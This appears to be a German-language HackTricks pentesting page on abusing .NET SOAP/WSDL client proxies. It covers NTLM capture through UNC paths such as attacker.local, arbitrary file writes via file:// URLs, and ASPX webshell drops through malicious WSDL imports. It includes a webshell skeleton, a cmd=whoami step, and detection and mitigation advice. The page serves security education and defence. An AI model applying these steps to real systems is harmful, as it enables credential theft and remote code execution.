.NET SOAP/WSDL Client-Proxy-Missbrauch

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

TL;DR

  • SoapHttpClientProtocol, DiscoveryClientProtocol und Verwandte erben von HttpWebClientProtocol, dessen GetWebRequest() die schemenunabhängige WebRequest-Instanz zurückgibt, die von WebRequest.Create() erzeugt wurde, ohne HttpWebRequest zu erzwingen.
  • Wenn ein Angreifer die Proxy-Url kontrolliert, tauscht das Framework stillschweigend FileWebRequest, FtpWebRequest oder UNC/SMB-Handler ein und verwandelt “HTTP”-Proxies in NTLM leak-Gadgets oder beliebige Dateischreiber.
  • Jede Funktion, die vom Angreifer bereitgestellte WSDL mit ServiceDescriptionImporter importiert, verschlimmert den Fehler: die WSDL steuert den generierten Proxy-Konstruktor, SOAP-Methoden, komplexe Typen und Namespaces und erlaubt pre-auth RCE (webshells, script drops) in Produkten wie Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell und SSIS.

Ursache: HttpWebClientProtocol ist schemenunabhängig

WebClientProtocol.GetWebRequest() macht var req = WebRequest.Create(uri) und gibt das unveränderte Objekt zurück. HttpWebClientProtocol.GetWebRequest() versucht req as HttpWebRequest, um HTTP-exklusive Felder zu setzen, aber es gibt weiterhin das ursprüngliche req zurück, selbst wenn der Cast fehlschlägt. Daher gehorcht die Laufzeit dem im Url vorhandenen Schema:

  • http(s):// → HttpWebRequest
  • file:/// oder \\host\share\ → FileWebRequest
  • ftp:// → FtpWebRequest

SoapHttpClientProtocol.Invoke() streamt dann den SOAP-POST-Body durch den jeweils gewählten Transport-Handler, selbst wenn das bedeutet, auf die Festplatte zu schreiben oder über SMB zu senden.

Primitive 1 – NTLM capture / relay über UNC-Ziele

  1. Kontrolle über SoapHttpClientProtocol.Url erlangen (direkter Setter, Config-Wert, Datenbankeintrag, etc.).
  2. Auf einen UNC-Pfad zeigen, z. B. file://attacker.local/sink/payload.
  3. Der CLR öffnet den Pfad über SMB und führt integrierte Authentifizierung durch, wodurch NTLM-Challenge/Response an den Angreifer geleakt werden.
  4. Erfasste Hashes für Offline-Cracking oder NTLM-Relay (SMB/HTTP) verwenden, sofern Signing/EPA fehlen.

Das gilt für jeden .NET SOAP/HTTP-Proxy-Pfad, der Benutzereingaben akzeptiert, auch wenn keine weitergehende Exploitation möglich ist.

Primitive 2 – Beliebige Dateischreibungen via file://

  1. Url = "file:///inetpub/wwwroot/poc.aspx" (oder jeden beschreibbaren Pfad) vor dem Proxy-Aufruf setzen.
  2. Eine beliebige SOAP-Methode aufrufen; das Framework schreibt den gesamten SOAP-Envelope in den gewählten Pfad und überschreibt bestehende Dateien.
  3. Benutzerkontrollierte Argumente tauchen in XML-Elementen auf, wodurch Angreifer CSHTML/ASPX-Payloads ablegen oder Konfigurationsdateien vergiften können.

Einschränkungen:

  • Der Inhalt ist immer XML; skalare Felder werden entity-enkodiert, daher erfordert das Injizieren von <script> via einfachen Strings zusätzliche Tricks.
  • Bedeutende Payloads benötigen mindestens ein vom Angreifer beeinflusstes Argument oder die Fähigkeit, die Methodensignatur zu ändern (siehe WSDL-Ausnutzung).

Laufzeit wirft oft Client found response content type of 'application/octet-stream', but expected 'text/xml' nach dem Schreibvorgang — behandle diesen Fehler als IOC.

WSDL-Importe ausnutzen

Automatisch generierte Proxies über ServiceDescriptionImporter

Viele Produkte bieten “custom web service”-Funktionen an, die eine WSDL-URL akzeptieren und dann:

  1. die vom Angreifer kontrollierte WSDL mit ServiceDescription.Read() einlesen,
  2. ServiceDescriptionImporter generiert C#-Proxyklassen, die SoapHttpClientProtocol erweitern,
  3. CodeDOM kompiliert den Proxy und Reflection ruft die gewünschte Methode auf.

Der Angreifer kontrolliert vollständig:

  • soap:address / soap12:address location → wird base.Url (kann file:// oder UNC-Pfade setzen).
  • Methodennamen, Parameterlisten, komplexe Typen und Serializer.
  • Namespace-URIs, die als xmlns:*-Attribute in jede SOAP-Nachricht gelangen.

Es findet keine Schema-Validierung statt, sodass jeder generierte Proxy den ursprünglichen Designfehler erbt.

Gestaltung des SOAP-Envelopes für RCE

  • Complex type serialization: Definiere benutzerdefinierte Strukturen in der WSDL, sodass XmlSerializer beim Re-Emittieren Elemente/Attribute mit vom Angreifer gewählten Namen erzeugt. Für ASPX-Webshell-Drops erstelle Typen, die wie folgt serialisieren:
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>

und setze Url auf file:///.../webroot/shell.aspx, um RCE zu erlangen.

  • Namespace-Injektion: Selbst wenn Argumente fest vorgegeben sind (z. B. Umbraco Forms), werden Namespaces, die in der WSDL deklariert sind (z. B. xmlns:tns="http://host/service?x=@{...}"), unverändert in den SOAP-Envelope kopiert. Das Einbetten von Payloads in den Namespace-Query-String ermöglicht CSHTML Razor- oder PowerShell-Script-Drops ohne Paramaterkontrolle.

Diese Techniken wurden beim Barracuda Service Center RMM-Exploit (CVE-2025-34392) verwendet: Ein unauthentifizierter SOAP-Call lieferte eine bösartige WSDL, setzte soap12:address auf file:///Program Files/.../SCMessaging/poc.aspx, injizierte <script runat="server"> via komplexer Parameter und lud eine Webshell hoch, die beliebige cmd.exe-Befehle ausführte.

Typischer Angriffsablauf

  1. Funktionalität identifizieren, die eine WSDL-URL akzeptiert oder Benutzern erlaubt, SOAP-Endpunkte zu konfigurieren (z. B. Barracuda InvokeRemoteMethod, Ivanti EPM Connectors, Umbraco 8 Forms Datasources, PowerShell New-WebServiceProxy).
  2. Eine bösartige WSDL hosten, deren soap:address auf einen beschreibbaren Pfad oder UNC-Share zeigt und deren Schema-Definitionen payload-freundliche Methoden/Typen bereitstellen.
  3. Den Import/ die Kompilierung auslösen. Das Ziel erzeugt eine Proxy-DLL mit angreiferkontrolliertem Konstruktor und Methoden.
  4. Wenn die Anwendung die generierte Methode aufruft, wird die SOAP-Anfrage serialisiert und in den vom Angreifer spezifizierten Pfad geschrieben, wodurch die Payload eingebettet wird.
  5. Die abgelegte Datei ausführen (z. B. poc.aspx?cmd=whoami aufrufen, das CSHTML laden oder PowerShell das Script ausführen lassen) oder erfasste NTLM-Daten wiederverwenden.

Erkennung & Hunting

  • Static analysis: Grep nach ServiceDescriptionImporter, SoapHttpClientProtocol, HttpWebClientProtocol oder New-WebServiceProxy. Rückverfolge, wie Url- oder WSDL-Eingaben beschafft werden — alles Benutzerkontrollierte ist ein rotes Flag.
  • Runtime-Telemetrie:
    • Proxy-Erstellung instrumentieren, um Schemen zu protokollieren; auf file, ftp oder UNC-Werte alarmieren.
    • Überwache das charakteristische Client found response content type of 'application/octet-stream'-Fehlerbild nach SOAP-Aufrufen.
    • Achte auf unerwartete .aspx/.cshtml/.ps1-Schreibvorgänge in Anwendungsverzeichnissen, ausgeführt durch die Identität des Webservices.
  • Netzwerk-/Datei-Indikatoren: SMB-Verbindungen, die von Webservern zu Angreifer-Infrastruktur initiiert werden, oder plötzliche Kompilierung temporärer Proxy-DLLs gehen oft einer Exploitation voraus.

Gegenmaßnahmen

  • Transport-Validierung erzwingen, bevor ein HttpWebClientProtocol-abgeleiteter Proxy aufgerufen wird:
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
  • Importierte WSDLs bereinigen: Proxys über einen Broker herunterladen, der soap:address-Einträge, die nicht HTTP/S sind, umschreibt oder ablehnt, unbekannte Bindings entfernt und Namespace-Payload-Tricks verbietet.
  • Unvertrauenswürdige WSDL-Funktionen deaktivieren: “Upload a WSDL”-Bequemlichkeiten durch geprüfte, serverseitige Templates oder Allowlists ersetzen.
  • Schreiborte separieren: Sicherstellen, dass App-Pools nicht in ausführbare Verzeichnisse schreiben können; separate Volumes für Daten vs. Code nutzen, damit Dateischreib-Primitiven nicht zu RCE werden.
  • NTLM-Härtung: Ausgehendes SMB soweit möglich deaktivieren; ansonsten SMB-Signing, EPA und andere Relay-Mitigations durchsetzen.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks